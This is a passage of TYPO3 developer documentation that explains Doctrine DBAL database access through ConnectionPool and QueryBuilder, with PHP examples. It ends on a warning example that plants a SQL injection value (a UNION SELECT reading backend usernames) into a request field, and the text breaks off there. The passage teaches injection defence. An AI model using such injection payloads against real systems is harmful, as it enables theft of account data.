        $this->connectionPool->getConnectionForTable('tt_content')
            ->delete(
                'tt_content', // from
                ['uid' => 4711]  // where
            );
    }
}
Copied!

The executed query looks like this:

DELETE FROM `tt_content`
    WHERE `uid` = '4711'
Copied!

Class overview

Doctrine DBAL provides a set of PHP objects to represent, create and handle SQL queries and their results. The basic class structure has been slightly enriched by TYPO3 to add CMS-specific features. Extension authors will usually interact with these classes and objects:

\TYPO3\CMS\Core\Database\Connection
This object represents a specific connection to one connected database. It provides "shortcut" methods for simple standard queries like SELECT or UPDATE. To create more complex queries, an instance of the QueryBuilder can be retrieved.
\TYPO3\CMS\Core\Database\ConnectionPool
The ConnectionPool is the main entry point for extensions to retrieve a specific connection over which to execute a query. Usually it is used to return a Connection or a QueryBuilder object.
\TYPO3\CMS\Core\Database\Query\Expression\ExpressionBuilder
The ExpressionBuilder object is used to model complex expressions. It is mainly used for WHERE and JOIN conditions.
\TYPO3\CMS\Core\Database\Query\QueryBuilder
With the help of the QueryBuilder one can create all sort of complex queries executed on a specific connection. It provides the main CRUD methods for select(), delete() and friends.
TYPO3\CMS\Core\Database\Query\Restriction\...
Restrictions are a set of classes that add expressions like deleted=0 to a query, based on the TCA settings of a table. They automatically adds TYPO3-specific restrictions like start time and end time, as well as deleted and hidden flags. Further restrictions for language overlays and workspaces are available. In this documentation, these classes are referred as RestrictionBuilder.
\Doctrine\DBAL\Driver\Statement
This result object is returned when a SELECT or COUNT query was executed. Single rows are returned as an array by calling ->fetchAssociative() until the method returns false.

ConnectionPool

TYPO3's interface for executing queries via Doctrine DBAL starts with a request to the ConnectionPool for a QueryBuilder or a Connection object and passing the table name to be queried:

EXT:my_extension/Classes/Domain/Repository/MyTableRepository.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Domain\Repository;

use TYPO3\CMS\Core\Database\ConnectionPool;

final class MyTableRepository
{
    private const TABLE_NAME = 'tx_myextension_domain_model_mytable';

    private ConnectionPool $connectionPool;

    public function __construct(ConnectionPool $connectionPool)
    {
        $this->connectionPool = $connectionPool;
    }

    public function findSomething()
    {
        // Get a query builder for a table
        $queryBuilder = $this->connectionPool
            ->getQueryBuilderForTable(self::TABLE_NAME);

        // Or get a connection for a table
        $connection = $this->connectionPool
            ->getConnectionForTable(self::TABLE_NAME);
    }
}
Copied!

The QueryBuilder is the default object used by extension authors to express complex queries, while a Connection instance can be used as a shortcut to handle some simple query cases.

Pooling

TYPO3 can handle multiple connections to different database endpoints at the same time. This can be configured for each individual table in $GLOBALS['TYPO3_CONF_VARS'] (see database configuration for details). This makes it possible to run tables on different databases without an extension developer having to worry about it.

The ConnectionPool implements this feature: It looks for configured table-to-database mapping and can return a Connection or a QueryBuilder instance for that specific connection. These objects know internally which target connection they are dealing with and will quote field names accordingly, for instance.

Beware

However, the transparency of tables for different database endpoints is limited.

Executing a table JOIN between two tables that reference different connections will result in an exception. This restriction may in practice lead to implicit "groups" of tables that must to point to a single connection when an extension or the TYPO3 Core joins these tables.

This can be problematic when several different extensions use, for instance, the Core category or collection API with their mm table joins between Core internal tables and their extension counterparts.

That situation is not easy to deal with. At the time of writing the Core development will implement eventually some non-join fallbacks for typical cases that would be good to decouple, though.

Query builder

The query builder provides a set of methods to create queries programmatically.

This chapter provides examples of the most common queries.

The query builder comes with a happy little list of small methods:

  • Set type of query: ->select(), ->count(), ->update(), ->insert() and ->delete()
  • Prepare WHERE conditions
  • Manipulate default WHERE restrictions added by TYPO3 for ->select()
  • Add LIMIT, GROUP BY and other SQL functions
  • executeQuery() executes a SELECT query and returns a result, a \Doctrine\DBAL\Result object
  • executeStatement() executes an INSERT, UPDATE or DELETE statement and returns the number of affected rows.

Most of the query builder methods provide a fluent interface, return an instance of the current query builder itself, and can be chained:

$queryBuilder
    ->select('uid')
    ->from('pages');
Copied!

Instantiation

To create an instance of the query builder, call ConnectionPool::getQueryBuilderForTable() and pass the table as an argument. The ConnectionPool object can be injected via dependency injection.

EXT:my_extension/Classes/Domain/Repository/MyRepository.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Domain\Repository;

use TYPO3\CMS\Core\Database\ConnectionPool;

final class MyRepository
{
    private ConnectionPool $connectionPool;

    public function __construct(ConnectionPool $connectionPool)
    {
        $this->connectionPool = $connectionPool;
    }

    public function findSomething()
    {
        $queryBuilder = $this->connectionPool
            ->getQueryBuilderForTable('aTable');
    }
}
Copied!

select() and addSelect()

Create a SELECT query.

Select all fields:

EXT:my_extension/Classes/Domain/Repository/MyRepository.php
// SELECT *
$queryBuilder->select('*')
Copied!

->select() and a number of other methods of the query builder are variadic and can handle any number of arguments. In ->select() each argument is interpreted as a single field name to be selected:

EXT:my_extension/Classes/Domain/Repository/MyRepository.php
// SELECT `uid`, `pid`, `aField`
$queryBuilder->select('uid', 'pid', 'aField');
Copied!

Argument unpacking can be used if the list of fields already is available as array:

EXT:my_extension/Classes/Domain/Repository/MyRepository.php
// SELECT `uid`, `pid`, `aField`, `anotherField`
$fields = ['uid', 'pid', 'aField', 'anotherField'];
$queryBuilder->select(...$fields);
Copied!

->select() automatically supports AS and quotes identifiers. This can be especially useful for join() operations:

EXT:my_extension/Classes/Domain/Repository/MyRepository.php
// SELECT `tt_content`.`bodytext` AS `t1`.`text`
$queryBuilder->select('tt_content.bodytext AS t1.text')
Copied!

With ->select() the list of fields to be selected is specified, and with ->addSelect() further elements can be added to an existing list.

Mind that ->select() replaces any formerly registered list instead of appending it. Thus, it is not very useful to call select() twice in a code flow or after an ->addSelect(). The methods ->where() and ->andWhere() share the same behavior: ->where() replaces all formerly registered constraints, ->andWhere() appends additional constraints.

A useful combination of ->select() and ->addSelect() can be:

EXT:my_extension/Classes/Domain/Repository/MyRepository.php
$queryBuilder->select(...$defaultList);
if ($needAdditionalFields) {
    $queryBuilder->addSelect(...$additionalFields);
}
Copied!

Calling the executeQuery() function on a ->select() query returns a result object of type \Doctrine\DBAL\Result. To receive single rows, a ->fetchAssociative() loop is used on that object, or ->fetchAllAssociative() to return a single array with all rows. A typical code flow of a SELECT query looks like this:

EXT:my_extension/Classes/Domain/Repository/MyRepository.php
// use TYPO3\CMS\Core\Database\Connection;

$queryBuilder = $this->connectionPool->getQueryBuilderForTable('tt_content');
$result = $queryBuilder
    ->select('uid', 'header', 'bodytext')
    ->from('tt_content')
    ->where(
        $queryBuilder->expr()->eq('bodytext', $queryBuilder->createNamedParameter('lorem', Connection::PARAM_STR))
    )
    ->executeQuery();

while ($row = $result->fetchAssociative()) {
    // Do something with that single row
    debug($row);
}
Copied!

Read how to correctly instantiate a query builder with the connection pool. See available parameter types.

Default Restrictions

count()

Create a COUNT query, a typical usage:

EXT:my_extension/Classes/Domain/Repository/MyRepository.php
// use TYPO3\CMS\Core\Database\Connection;

// SELECT COUNT(`uid`) FROM `tt_content` WHERE (`bodytext` = 'lorem')
//     AND ((`tt_content`.`deleted` = 0) AND (`tt_content`.`hidden` = 0)
//     AND (`tt_content`.`starttime` <= 1669885410)
//     AND ((`tt_content`.`endtime` = 0) OR (`tt_content`.`endtime` > 1669885410)))
$queryBuilder = $this->connectionPool->getQueryBuilderForTable('tt_content');
$count = $queryBuilder
    ->count('uid')
    ->from('tt_content')
    ->where(
        $queryBuilder->expr()->eq('bodytext', $queryBuilder->createNamedParameter('lorem', Connection::PARAM_STR))
    )
    ->executeQuery()
    ->fetchOne();
Copied!

Read how to correctly instantiate a query builder with the connection pool. See available parameter types.

Remarks:

  • Similar to the ->select() query type, ->count() automatically triggers the magic of the RestrictionBuilder that adds default restrictions such as deleted, hidden, starttime and endtime when defined in TCA.
  • Similar to ->select() query types, ->executeQuery() with ->count() returns a result object of type \Doctrine\DBAL\Result. To fetch the number of rows directly, use ->fetchOne().
  • The first argument to ->count() is required, typically ->count(*) or ->count('uid') is used, the field name is automatically quoted.
  • There is no support for DISTINCT, instead a ->groupBy() has to be used, for example:

    // Equivalent to:
    // SELECT DISTINCT some_field, another_field FROM my_table
    
    $queryBuilder
        ->select('some_field', 'another_field')
        ->from('my_table')
        ->groupBy('some_field')
        ->addGroupBy('another_field');
    Copied!
  • If ->count() is combined with ->groupBy(), the result may return multiple rows. The order of those rows depends on the used DBMS. Therefore, to ensure the same order of result rows on multiple different databases, a ->groupBy() should always be combined with an ->orderBy().

delete()

Create a DELETE FROM query. The method requires the table name from which data is to be deleted. Classic usage:

EXT:my_extension/Classes/Domain/Repository/MyRepository.php
// use TYPO3\CMS\Core\Database\Connection;

// DELETE FROM `tt_content` WHERE `bodytext` = 'lorem'
$queryBuilder = $this->connectionPool->getQueryBuilderForTable('tt_content');
$affectedRows = $queryBuilder
    ->delete('tt_content')
    ->where(
        $queryBuilder->expr()->eq('bodytext', $queryBuilder->createNamedParameter('lorem', Connection::PARAM_STR))
    )
    ->executeStatement();
Copied!

Read how to correctly instantiate a query builder with the connection pool. See available parameter types.

Remarks:

  • For simple cases it is often easier to write and read using the ->delete() method of the Connection object.
  • In contrast to ->select(), ->delete() does not automatically add WHERE restrictions like AND `deleted` = 0.
  • ->delete() does not magically transform a DELETE FROM `tt_content` WHERE `uid` = 4711 into something like UPDATE `tt_content` SET `deleted` = 1 WHERE `uid` = 4711 internally. A soft-delete must be handled at application level with a dedicated lookup in $GLOBALS['TCA']['theTable']['ctrl']['delete'] to check if a specific table can handle the soft-delete, together with an ->update() instead.
  • Deleting from multiple tables at once is not supported: DELETE FROM `table1`, `table2` can not be created.
  • ->delete() ignores ->join()
  • ->delete() ignores setMaxResults(): DELETE with LIMIT does not work.

update() and set()

Create an UPDATE query. Typical usage:

EXT:my_extension/Classes/Domain/Repository/MyRepository.php
// use TYPO3\CMS\Core\Database\Connection;

// UPDATE `tt_content` SET `bodytext` = 'dolor' WHERE `bodytext` = 'lorem'
$queryBuilder = $this->connectionPool->getQueryBuilderForTable('tt_content');
$queryBuilder
    ->update('tt_content')
    ->where(
        $queryBuilder->expr()->eq('bodytext', $queryBuilder->createNamedParameter('lorem', Connection::PARAM_STR))
    )
    ->set('bodytext', 'dolor')
    ->executeStatement();
Copied!

Read how to correctly instantiate a query builder with the connection pool. See available parameter types.

->update() requires the table to update as the first argument and a table alias (for example, t) as optional second argument. The table alias can then be used in ->set() and ->where() expressions:

EXT:my_extension/Classes/Domain/Repository/MyRepository.php
// use TYPO3\CMS\Core\Database\Connection;

// UPDATE `tt_content` `t` SET `t`.`bodytext` = 'dolor' WHERE `t`.`bodytext` = 'lorem'
$queryBuilder = $this->connectionPool->getQueryBuilderForTable('tt_content');
$queryBuilder
    ->update('tt_content', 't')
    ->where(
        $queryBuilder->expr()->eq('t.bodytext', $queryBuilder->createNamedParameter('lorem', Connection::PARAM_STR))
    )
    ->set('t.bodytext', 'dolor')
    ->executeStatement();
Copied!

Read how to correctly instantiate a query builder with the connection pool. See available parameter types.

->set() requires a field name as the first argument and automatically quotes it internally. The second mandatory argument is the value to set a field to. The value is automatically transformed to a named parameter of a prepared statement. This way, ->set() key/value pairs are automatically SQL protected from injection by default.

If a field should be set to the value of another field from the row, quoting must be turned off and ->quoteIdentifier() and false have to be used:

EXT:my_extension/Classes/Domain/Repository/MyRepository.php
// use TYPO3\CMS\Core\Database\Connection;

// UPDATE `tt_content` SET `bodytext` = `header` WHERE `bodytext` = 'lorem'
$queryBuilder = $this->connectionPool->getQueryBuilderForTable('tt_content');
$queryBuilder
    ->update('tt_content')
    ->where(
        $queryBuilder->expr()->eq('bodytext', $queryBuilder->createNamedParameter('lorem', Connection::PARAM_STR))
    )
    ->set('bodytext', $queryBuilder->quoteIdentifier('header'), false)
    ->executeStatement();
Copied!

Read how to correctly instantiate a query builder with the connection pool. See available parameter types.

Remarks:

  • For simple cases it is often easier to use the ->update() method of the Connection object.
  • ->set() can be called multiple times if multiple fields should be updated.
  • ->set() requires a field name as the first argument and automatically quotes it internally.
  • ->set() requires the value to which a field is to be set as the second parameter.
  • ->update() ignores ->join() and ->setMaxResults().
  • The API does not magically add deleted = 0 or other restrictions, as is currently the case with select, for example. (See also RestrictionBuilder).

insert() and values()

Create an INSERT query. Typical usage:

EXT:my_extension/Classes/Domain/Repository/MyRepository.php
// INSERT INTO `tt_content` (`bodytext`, `header`) VALUES ('lorem', 'dolor')
$queryBuilder = $this->connectionPool->getQueryBuilderForTable('tt_content');
$affectedRows = $queryBuilder
    ->insert('tt_content')
    ->values([
        'bodytext' => 'lorem',
        'header' => 'dolor',
    ])
    ->executeStatement();
Copied!

Read how to correctly instantiate a query builder with the connection pool.

Remarks:

  • The uid of the created database row can be fetched from the connection by using $queryBuilder->getConnection()->lastInsertId().
  • ->values() expects an array of key/value pairs. Both keys (field names / identifiers) and values are automatically quoted. In rare cases, quoting of values can be turned off by setting the second argument to false. Then quoting must be done manually, typically by using ->createNamedParameter() on the values.
  • ->executeStatement() after ->insert() returns the number of inserted rows, which is typically 1.
  • An alternative to using the query builder for inserting data is using the Connection object with its ->insert() method.
  • The query builder does not provide a method for inserting multiple rows at once, use ->bulkInsert() of the Connection object instead to achieve that.

from()

->from() is essential for ->select() and ->count() query types. ->from() requires a table name and an optional alias name. The method is usually called once per query creation and the table name is usually the same as the one passed to ->getQueryBuilderForTable(). If the query joins multiple tables, the argument should be the name of the first table within the ->join() chain:

EXT:my_extension/Classes/Domain/Repository/MyRepository.php
// FROM `myTable`
$queryBuilder->from('myTable');

// FROM `myTable` AS `anAlias`
$queryBuilder->from('myTable', 'anAlias');
Copied!

->from() can be called multiple times and will create the Cartesian product of tables if not constrained by a respective ->where() or ->andWhere() expression. In general, it is a good idea to use ->from() only once per query and instead model the selection of multiple tables with an explicit ->join().

where(), andWhere() and orWhere()

The three methods are used to create WHERE restrictions for SELECT, COUNT, UPDATE and DELETE query types. Each argument is usually an ExpressionBuilder object that is converted to a string on ->executeQuery() or ->executeStatement():

EXT:my_extension/Classes/Domain/Repository/MyRepository.php
// use TYPO3\CMS\Core\Database\Connection;
// SELECT `uid`, `header`, `bodytext`
// FROM `tt_content`
// WHERE
//    (
//       ((`bodytext` = 'lorem') AND (`header` = 'a name'))
//       OR (`bodytext` = 'dolor') OR (`bodytext` = 'hans')
//    )
//    AND (`pid` = 42)
//    AND ... RestrictionBuilder TCA restrictions ...
$queryBuilder = $this->connectionPool->getQueryBuilderForTable('tt_content');
$result = $queryBuilder
    ->select('uid', 'header', 'bodytext')
    ->from('tt_content')
    ->where(
        $queryBuilder->expr()->eq('bodytext', $queryBuilder->createNamedParameter('lorem', Connection::PARAM_STR)),
        $queryBuilder->expr()->eq('header', $queryBuilder->createNamedParameter('a name', Connection::PARAM_STR))
    )
    ->orWhere(
        $queryBuilder->expr()->eq('bodytext', $queryBuilder->createNamedParameter('dolor')),
        $queryBuilder->expr()->eq('bodytext', $queryBuilder->createNamedParameter('hans'))
    )
    ->andWhere(
        $queryBuilder->expr()->eq('pid', $queryBuilder->createNamedParameter(42, Connection::PARAM_INT))
    )
    ->executeQuery();
Copied!

Read how to correctly instantiate a query builder with the connection pool. See available parameter types.

Note the parenthesis of the above example: ->andWhere() encapsulates both ->where() and ->orWhere() with an additional restriction.

Argument unpacking can become handy with these methods:

EXT:my_extension/Classes/Domain/Repository/MyRepository.php
// use TYPO3\CMS\Core\Database\Connection;

$whereExpressions = [
    $queryBuilder->expr()->eq('bodytext', $queryBuilder->createNamedParameter('lorem', Connection::PARAM_STR)),
    $queryBuilder->expr()->eq('header', $queryBuilder->createNamedParameter('a name', Connection::PARAM_STR))
];
if ($needsAdditionalExpression) {
    $whereExpressions[] = $someAdditionalExpression;
}
$queryBuilder->where(...$whereExpressions);
Copied!

See available parameter types.

Remarks:

  • The three methods are variadic. They can handle any number of arguments. For instance, if ->where() receives four arguments, they are handled as single expressions, all combined with AND.
  • createNamedParameter is used to create a placeholder for a field value of a prepared statement. Always use this when dealing with user input in expressions to protect the statement from SQL injections.
  • ->where() should be called only once per query and resets all previously set ->where(), ->andWhere() and ->orWhere() expressions. A ->where() call after a previous ->where(), ->andWhere() or ->orWhere() usually indicates a bug or a rather weird code flow. Doing so is discouraged.
  • When creating complex WHERE restrictions, ->getSQL() and ->getParameters() are helpful debugging tools to verify parenthesis and single query parts.
  • If only ->eq() expressions are used, it is often easier to switch to the according method of the Connection object to simplify quoting and improve readability.
  • It is possible to feed the methods directly with strings, but this is discouraged and usually used only in rare cases where expression strings are created in a different place that can not be easily resolved.

join(), innerJoin(), rightJoin() and leftJoin()

Joining multiple tables in a ->select() or ->count() query is done with one of these methods. Multiple joins are supported by calling the methods more than once. All methods require four arguments: The name of the table on the left (or its alias), the name of the table on the right, an alias for the name of the table on the right, and the join restriction as fourth argument:

EXT:my_extension/Classes/Domain/Repository/MyRepository.php
// use TYPO3\CMS\Core\Database\Connection;

// SELECT `sys_language`.`uid`, `sys_language`.`title`
// FROM `sys_language`
// INNER JOIN `pages` `p`
//     ON `p`.`sys_language_uid` = `sys_language`.`uid`
// WHERE
//     (`p`.`uid` = 42)
//     AND (
//          (`p`.`deleted` = 0)
//          AND (
//              (`sys_language`.`hidden` = 0) AND (`overlay`.`hidden` = 0)
//          )
//          AND (`p`.`starttime` <= 1475591280)
//          AND ((`p`.`endtime` = 0) OR (`overlay`.`endtime` > 1475591280))
//     )
$queryBuilder = $this->connectionPool->getQueryBuilderForTable('sys_language')
$result = $queryBuilder
   ->select('sys_language.uid', 'sys_language.title')
   ->from('sys_language')
   ->join(
       'sys_language',
       'pages',
       'p',
       $queryBuilder->expr()->eq('p.sys_language_uid', $queryBuilder->quoteIdentifier('sys_language.uid'))
   )
   ->where(
       $queryBuilder->expr()->eq('p.uid', $queryBuilder->createNamedParameter(42, Connection::PARAM_INT))
   )
   ->executeQuery();
Copied!

Read how to correctly instantiate a query builder with the connection pool. See available parameter types.

Notes to the example above:

  • The query operates with the sys_language table as the main table, this table name is given to getQueryBuilderForTable().
  • The query joins the pages table as INNER JOIN and gives it the alias p.
  • The join condition is `p`.`sys_language_uid` = `sys_language`.`uid`. It would have been identical to swap the expression arguments of the fourth ->join() argument ->eq('sys_language.uid', $queryBuilder->quoteIdentifier('p.sys_language_uid')).
  • The second argument of the join expression instructs the ExpressionBuilder to quote the value as a field identifier (a field name, here a combination of table and field name). Using createNamedParameter would lead in quoting as value (' instead of ` in MySQL) and the query would fail.
  • The alias p - the third argument of the ->join() call - does not necessarily have to be set to a different name than the table name itself here. It is sufficient to use pages as third argument and not to specify any other name. Aliases are mostly useful when a join to the same table is needed: SELECT `something` FROM `tt_content` JOIN `tt_content` `content2` ON .... Aliases are also useful to increase the readability of ->where() expressions.
  • The RestrictionBuilder has added additional WHERE conditions for both tables involved! The sys_language table obviously only specifies a 'disabled' => 'hidden' as enableColumns in its TCA ctrl section, while the pages table specifies the fields deleted, hidden, starttime and stoptime.

A more complex example with two joins. The first join points to the first table, again using an alias to resolve a language overlay scenario. The second join uses the alias of the first join target as left side:

EXT:my_extension/Classes/Domain/Repository/MyRepository.php
// use TYPO3\CMS\Core\Database\Connection;

// SELECT `tt_content_orig`.`sys_language_uid`
// FROM `tt_content`
// INNER JOIN `tt_content` `tt_content_orig` ON `tt_content`.`t3_origuid` = `tt_content_orig`.`uid`
// INNER JOIN `sys_language` `sys_language` ON `tt_content_orig`.`sys_language_uid` = `sys_language`.`uid`
// WHERE
//     (`tt_content`.`colPos` = 1)
//     AND (`tt_content`.`pid` = 42)
//     AND (`tt_content`.`sys_language_uid` = 2)
//     AND ... RestrictionBuilder TCA restrictions for tables tt_content and sys_language ...
// GROUP BY `tt_content_orig`.`sys_language_uid`
$queryBuilder = $this->connectionPool->getQueryBuilderForTable('sys_language')
$constraints = [
    $queryBuilder->expr()->eq('tt_content.colPos', $queryBuilder->createNamedParameter(1, Connection::PARAM_INT)),
    $queryBuilder->expr()->eq('tt_content.pid', $queryBuilder->createNamedParameter(42, Connection::PARAM_INT)),
    $queryBuilder->expr()->eq('tt_content.sys_language_uid', $queryBuilder->createNamedParameter(2, Connection::PARAM_INT)),
];
$queryBuilder
    ->select('tt_content_orig.sys_language_uid')
    ->from('tt_content')
    ->join(
        'tt_content',
        'tt_content',
        'tt_content_orig',
        $queryBuilder->expr()->eq(
            'tt_content.t3_origuid',
            $queryBuilder->quoteIdentifier('tt_content_orig.uid')
        )
    )
    ->join(
        'tt_content_orig',
        'sys_language',
        'sys_language',
        $queryBuilder->expr()->eq(
            'tt_content_orig.sys_language_uid',
            $queryBuilder->quoteIdentifier('sys_language.uid')
        )
    )
    ->where(...$constraints)
    ->groupBy('tt_content_orig.sys_language_uid')
    ->executeQuery();
Copied!

Read how to correctly instantiate a query builder with the connection pool. See available parameter types.

Further remarks:

  • ->join() and innerJoin are identical. They create an INNER JOIN query, this is identical to a JOIN query.
  • ->leftJoin() creates a LEFT JOIN query, this is identical to a LEFT OUTER JOIN query.
  • ->rightJoin() creates a RIGHT JOIN query, this is identical to a RIGHT OUTER JOIN query.
  • Calls to join() methods are only considered for ->select() and ->count() type queries. ->delete(), ->insert() and update() do not support joins, these query parts are ignored and do not end up in the final statement.
  • The argument of ->getQueryBuilderForTable() should be the leftmost main table.
  • Joining two tables that are configured to different connections will throw an exception. This restricts the tables that can be configured for different database endpoints. It is possible to test the connection objects of the involved tables for equality and implement a fallback logic in PHP if they are different.
  • Doctrine DBAL does not support the use of join methods in combination with ->update(), ->insert() and ->delete() methods, because such a statement is not cross-platform compatible.

orderBy() and addOrderBy()

Add ORDER BY to a ->select() statement. Both ->orderBy() and ->addOrderBy() require a field name as first argument:

EXT:my_extension/Classes/Domain/Repository/MyRepository.php
// SELECT * FROM `sys_language` ORDER BY `sorting` ASC
$queryBuilder = $this->connectionPool->getQueryBuilderForTable('sys_language');
$queryBuilder->getRestrictions()->removeAll();
$languageRecords = $queryBuilder
    ->select('*')
    ->from('sys_language')
    ->orderBy('sorting')
    ->executeQuery()
    ->fetchAllAssociative();
Copied!

Read how to correctly instantiate a query builder with the connection pool.

Remarks:

  • ->orderBy() resets all previously specified orders. It makes no sense to call this function again after a previous ->orderBy() or ->addOrderBy().
  • Both methods need a field name or a table.fieldName or a tableAlias.fieldName as first argument. In the example above the call to ->orderBy('sys_language.sorting') would have been identical. All identifiers are quoted automatically.
  • The second, optional argument of both methods specifies the sort order. The two allowed values are 'ASC' and 'DESC', where 'ASC' is default and can be omitted.
  • To create a chain of orders, use ->orderBy() and then multiple ->addOrderBy() calls. The call to ->orderBy('header')->addOrderBy('bodytext')->addOrderBy('uid', 'DESC') creates ORDER BY `header` ASC, `bodytext` ASC, `uid` DESC
  • To add more complex sorting you can use ->add('orderBy', 'FIELD(eventtype, 0, 4, 1, 2, 3)', true), remember to quote properly!

groupBy() and addGroupBy()

Add GROUP BY to a ->select() statement. Each argument of the methods is a single identifier:

EXT:my_extension/Classes/Domain/Repository/MyRepository.php
// GROUP BY `pages`.`sys_language_uid`, `sys_language`.`uid`
->groupBy('pages.sys_language_uid', 'sys_language.uid');
Copied!

Remarks:

  • Similar to ->select() and ->where(), both methods are variadic and take any number of arguments, argument unpacking is supported: ->groupBy(...$myGroupArray)
  • Each argument is either a direct field name GROUP BY `bodytext`, a table.fieldName or a tableAlias.fieldName and is properly quoted.
  • ->groupBy() resets all previously defined group specification and should only be called once per statement.
  • For more complex statements you can use ->add('groupBy', $sql, $append), remember to quote properly!

setMaxResults() and setFirstResult()

Add LIMIT to restrict the number of records and OFFSET for pagination of query parts. Both methods should be called only once per statement:

EXT:my_extension/Classes/Domain/Repository/MyRepository.php
// SELECT * FROM `sys_language` LIMIT 2 OFFSET 4
$queryBuilder = $this->connectionPool->getQueryBuilderForTable('sys_language');
$queryBuilder
    ->select('*')
    ->from('sys_language')
    ->setMaxResults(2)
    ->setFirstResult(4)
    ->executeQuery();
Copied!

Read how to correctly instantiate a query builder with the connection pool.

Remarks:

  • It is allowed to call ->setMaxResults() without calling ->setFirstResult().
  • It is possible to call ->setFirstResult() without calling setMaxResults(): This is equivalent to "Fetch everything, but leave out the first n records". Internally, LIMIT will be added by Doctrine DBAL and set to a very high value.
  • Use ->setMaxResults(null) to retrieve all results.

add()

The ->add() method appends or replaces a single, generic query part. It can be used as a low level call when more specific calls do not provide enough freedom to express parts of statements:

EXT:my_extension/Classes/Domain/Repository/MyRepository.php
$queryBuilder = $this->connectionPool->getQueryBuilderForTable('sys_language');
$queryBuilder
    ->select('*')
    ->from('sys_language')
    ->add('orderBy', 'FIELD(eventtype, 0, 4, 1, 2, 3)');
Copied!

Read how to correctly instantiate a query builder with the connection pool.

Remarks:

  • The first argument is the SQL part. One of: select, from, set, where, groupBy, having or orderBy.
  • The second argument is the (properly quoted!) SQL segment of this part.
  • The optional third boolean argument specifies whether the SQL fragment should be appended ( true) or replace a possibly existing SQL part of this name ( false, default).

getSQL()

The ->getSQL() method returns the created query statement as string. It is incredibly useful during development to verify that the final statement is executed exactly as a developer expects:

EXT:my_extension/Classes/Domain/Repository/MyRepository.php
$queryBuilder = $this->connectionPool->getQueryBuilderForTable('sys_language');
$queryBuilder
    ->select('*')
    ->from('sys_language');
debug($queryBuilder->getSQL());
$result = $queryBuilder->executeQuery();
Copied!

Read how to correctly instantiate a query builder with the connection pool.

Remarks:

  • This is debugging code. Take proper actions to ensure that these calls do not end up in production!
  • The method is usually called directly before ->executeQuery() or ->executeStatement() to output the final statement.
  • Casting a query builder object to (string) has the same effect as calling ->getSQL(), but the explicit call using the method should be preferred to simplify a search operation for this kind of debugging statements.
  • The method is a simple way to see what restrictions the RestrictionBuilder has added.
  • Doctrine DBAL always creates prepared statements: Each value added via createNamedParameter creates a placeholder that is later replaced when the real query is triggered via ->executeQuery() or ->executeStatement(). ->getSQL() does not show these values, instead it displays the placeholder names, usually with a string like :dcValue1. There is no simple solution to show the fully replaced query within the framework, but you can use getParameters to see the array of parameters used to replace these placeholders within the query. On the frontend, the queries and parameters are available in the admin panel.

getParameters()

The ->getParameters() method returns the values for the placeholders of the prepared statement in an array. This is incredibly useful during development to verify that the final statement is executed as a developer expects:

EXT:my_extension/Classes/Domain/Repository/MyRepository.php
$queryBuilder = $this->connectionPool->getQueryBuilderForTable('sys_language');
$queryBuilder
    ->select('*')
    ->from('sys_language');
debug($queryBuilder->getParameters());
$statement = $queryBuilder->executeQuery();
Copied!

Read how to correctly instantiate a query builder with the connection pool.

Remarks:

  • This is debugging code. Take proper actions to ensure that these calls do not end up in production!
  • The method is usually called directly before ->executeQuery() or ->executeStatement() to output the final statement.
  • Doctrine DBAL always creates prepared statements: Each value added via createNamedParameter creates a placeholder that is later replaced when the real query is triggered via ->executeQuery() or ->executeStatement(). ->getParameters() does not show the statement or the placeholders, instead the values are displayed, usually an array using keys like :dcValue1. There is no simple solution to show the fully replaced query within the framework, but you can use getSql to see the string with placeholders, which is used as a prepared statement.

execute(), executeQuery() and executeStatement()

Changed in version 11.5

The widely used ->execute() method has been split into:

  • ->executeQuery() returning a \Doctrine\DBAL\Result instead of a \Doctrine\DBAL\Statement and
  • ->executeStatement() returning the number of affected rows.

Although ->execute() still works for backwards compatibility, you should prefer to use ->executeQuery() for SELECT and COUNT statements and ->executeStatement() for INSERT, UPDATE and DELETE queries.

executeQuery()

This method compiles and fires the final query statement. This is usually the last call on a query builder object. It can be called for SELECT and COUNT queries.

On success, it returns a result object of type \Doctrine\DBAL\Result representing the result set. The Result object can then be used by fetchAssociative(), fetchAllAssociative() and fetchOne(). executeQuery() returns a \Doctrine\DBAL\Result and not a \Doctrine\DBAL\Statement anymore.

If the query fails for some reason (for instance, if the database connection was lost or if the query contains a syntax error), an \Doctrine\DBAL\Exception is thrown. It is usually bad habit to catch and suppress this exception, as it indicates a runtime error a program error. Both should bubble up. For more information on proper exception handling, see the coding guidelines.

executeStatement()

The executeStatement() method can be used for INSERT, UPDATE and DELETE statements. It returns the number of affected rows as an integer.

expr()

This method returns an instance of the ExpressionBuilder. It is used to create complex WHERE query parts and JOIN expressions:

EXT:my_extension/Classes/Domain/Repository/MyRepository.php
// use TYPO3\CMS\Core\Database\Connection;
// SELECT `uid` FROM `tt_content` WHERE (`uid` > 42)
$queryBuilder = $this->connectionPool->getQueryBuilderForTable('tt_content');
$queryBuilder
    ->select('uid')
    ->from('tt_content')
    ->where(
        $queryBuilder->expr()->gt(
            'uid',
            $queryBuilder->createNamedParameter(42, Connection::PARAM_INT)
        )
    )
    ->executeQuery();
Copied!

Read how to correctly instantiate a query builder with the connection pool. See available parameter types.

Remarks:

  • This object is stateless and can be called and worked on as often as needed. However, it is bound to the specific connection for which a statement is created and therefore only available through the query builder, which is specific to a connection.
  • Never reuse the ExpressionBuilder, especially not between multiple query builder objects, but always get an instance of the expression builder by calling ->expr().

createNamedParameter()

This method creates a placeholder for a field value of a prepared statement. Always use this when dealing with user input in expressions to protect the statement from SQL injections:

EXT:my_extension/Classes/Domain/Repository/MyRepository.php
// SELECT * FROM `tt_content` WHERE (`bodytext` = 'kl\'aus')
$searchWord = "kl'aus"; // $searchWord = GeneralUtility::_GP('searchword');
$queryBuilder = $this->connectionPool->getQueryBuilderForTable('tt_content');
$queryBuilder->getRestrictions()->removeAll();
$queryBuilder
    ->select('uid')
    ->from('tt_content')
    ->where(
        $queryBuilder->expr()->eq(
            'bodytext',
            $queryBuilder->createNamedParameter($searchWord, Connection::PARAM_STR)
        )
    )
    ->executeQuery();
Copied!

Read how to correctly instantiate a query builder with the connection pool. See available parameter types.

The above example shows the importance of using ->createNamedParameter(): The search word kl'aus is "tainted" and would break the query if not channeled through ->createNamedParameter(), which quotes the backtick and makes the value SQL injection-safe.

Not convinced? Suppose the code would look like this:

EXT:my_extension/Classes/Domain/Repository/MyRepository.php
// NEVER EVER DO THIS!
$_POST['searchword'] = "'foo' UNION SELECT username FROM be_users";
$searchWord = GeneralUtility::_GP('searchword');
